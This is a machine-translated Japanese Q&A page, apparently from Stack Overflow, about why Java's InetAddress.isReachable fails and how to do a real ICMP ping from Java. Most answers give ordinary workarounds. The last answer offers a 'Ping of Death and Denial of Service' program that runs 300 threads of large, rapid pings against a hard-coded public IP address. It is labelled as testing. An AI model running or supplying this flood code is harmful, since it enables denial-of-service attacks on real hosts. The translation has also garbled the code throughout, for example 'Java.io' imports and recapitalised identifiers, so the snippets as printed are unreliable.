web-dev-qa-db-ja.com

Windowsから真のJava pingを実行する方法は?

Javaプログラムを介してpingを実行しようとしているネットワーク上のデバイスがあります。windowsコマンドプロンプトを使用して、デバイスのアドレスにpingを実行し、アドレスのtracertを実行できます。

オンラインで、Javaを介してpingを実行するには、以下を実行する必要があることを確認しました。

InetAddress.getByName(address).isReachable(timeout);

しかし、このコードをデバイスアドレスで使用すると、プログラムで常にfalseが返されます。適切なタイムアウト値で正しいIPv4アドレスを使用しています。また、localhostアドレスを使用すると、正常に動作します。

Cmdを介してデバイスにpingを実行できるのに、プログラムを介してpingできないのはなぜですか?これはtrue pingではないことをさまざまな場所で聞いたことがあります。

Javaでpingをエミュレートするより良い方法はありますか?

ありがとう

28
Stephen Watkins

isReachable()は、特権を取得できる場合はICMP ECHO REQUESTsを使用します、それ以外の場合はTCP接続先ホストのポート7(エコー)。
問題はおそらく、クライアントマシンでこれを実行するための十分な権限がないか、クライアントにICMP ECHO REQUESTを実行する権限がない場合、サーバーでポート7の問題があるという構成の問題です。おそらく両方のケースでは、これを機能させるには、どちらか一方を解決する必要があります。

OSXおよびLinuxクライアントで以下をテストしましたが、他のOSX、Linux、およびWindows Serverマシンの到達可能性をテストするときに機能します。これをクライアントとして実行するWindowsマシンがありません。

import Java.io.IOException;
import Java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress Host = InetAddress.getByName(args[0]);
        System.out.println("Host.isReachable(1000) = " + Host.isReachable(1000));
    }
}

私が読んだものから ここ 。これは明らかにWindowsの制限であり、ICMP PINGはWindows 2000より前のシステムコールとしてWindowsではサポートされていないため、デフォルトでポート7に接続しようとし、「到達しようとしているマシンでブロックされます。 」 Javaは、まだ新しいネイティブシステムコールをサポートしていません。 rootがICMPパケットを送信する必要があるため、パーミッションはUnixベースのシステム用です。

独自のWindowsネイティブをロールしたい場合 [〜#〜] jni [〜#〜]ICMP PING for Windows 2000以降には IcmpSendEcho Function があります。

27
user177800

Windows、Linux、およびOSXで実際のICMP pingが必要な場合( この記事 から)この関数を使用します(他のシステムはテストしていません)。

public static boolean isReachableByPing(String Host) {
    try{
            String cmd = "";
            if(System.getProperty("os.name").startsWith("Windows")) {   
                    // For Windows
                    cmd = "ping -n 1 " + Host;
            } else {
                    // For Linux and OSX
                    cmd = "ping -c 1 " + Host;
            }

            Process myProcess = Runtime.getRuntime().exec(cmd);
            myProcess.waitFor();

            if(myProcess.exitValue() == 0) {

                    return true;
            } else {

                    return false;
            }

    } catch( Exception e ) {

            e.printStackTrace();
            return false;
    }
}
9
Mattias Ohlsson

少し遅れましたが、私は同じことをしようとしているときにこれにつまずきました。

私のために機能し、私が使用した1つの回避策は、コマンドラインのpingを直接使用することでした。

    public static boolean ping(String Host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", Host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}
2
bluphoenix

その問題に関連して書かれた多くの悪いコードを見ました。私のために働いたコードは(サイトは私のコードファイルを正しく解析するかわかりません):

public class Test {

    public static boolean isReachablebyPing(String ip) {

        try {
            String command;

        if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
            // For Windows
            command = "ping -n 2 " + ip;
        } else {
            // For Linux and OSX
            command = "ping -c 2 " + ip;
        }

        Process proc = Runtime.getRuntime().exec(command);
        StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
        outputGobbler.start();

        proc.waitFor();
        return checkAvailability(outputGobbler.getOutputLines());

        } catch(IOException | InterruptedException ex) {
        Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

        return false;
    }

    public static void main(String... args) {

        String ip = "10.20.20.17";   // false in my case
        String ip1 = "10.20.20.100"; // true in my case

        System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
        System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
    }

    private static boolean checkAvailability(List<String> outputLines) {

        for(String line : outputLines) {
            if(line.contains("unreachable")) {
                return false;
            }
            if(line.contains("TTL=")) {
                return true;
            }
        }
        return false;

    }

}

class StreamGobbler extends Thread {

    protected InputStream is;

    protected String type;

    protected List<String> outputLines;

    StreamGobbler(InputStream is, String type) {
        this.is = is;
        this.type = type;
        outputLines = new ArrayList<>();
    }

    public List<String> getOutputLines() {
        return outputLines;
    }

    @Override
    public void run() {
        try {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while((line = br.readLine()) != null) {
                outputLines.add(line);
            }
        } catch(IOException ex) {
                Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

    }
}
1
Adrian

Java特権なしで簡単にpingを実行するには、 http://www.icmp4j.org を使用します

使い方はとても簡単です。

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }
1
iLoveCode

理由の1つは、指定したタイムアウトが短すぎることです。同様の問題がありましたが、タイムアウトを適切な値に増やしたときに、isReachable呼び出しが正しい値を返しました。

1
Nerrve

これを使用しても、パブリックIPアドレスにpingを実行する場合は役に立ちませんWindowsマシンを使用

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);

注:ドキュメントには次のように記載されています。

privilegeを取得できる場合、一般的な実装ではICMP ECHO REQUESTを使用します。それ以外の場合、宛先ホストのTCP接続(ポート7(Echo))を確立しようとします。

私はそれを試しましたが、結果は正確ではありませんでした。

私にとって本当にうまくいったのは、true ICMP pingを送信し、IPステータスに応じてtrueまたはfalseを返す、仲間のユーザーによって記述されたクラスです。

奇数のInetAddress.isReachable()の問題

0

次のJavaコードは、Microsoft Windowsを使用したPing of DeathおよびDenial of Serviceの例です。これは、アンチハックプルーフの構築および/またはパフォーマンスのテストのためのテスト目的で使用するものとします。同様のサイバー攻撃の場合のサイトの。

// BEGIN Ping of Death and Denial of Service 
import Java.awt.AWTException;
import Java.io.BufferedReader;
import Java.io.IOException;
import Java.io.InputStreamReader;
import Java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}

テストが完了したとき。次のコードを使用して、タスクマネージャのプロセスをクリーンアップできます。

import Java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
} 
0
QA Specialist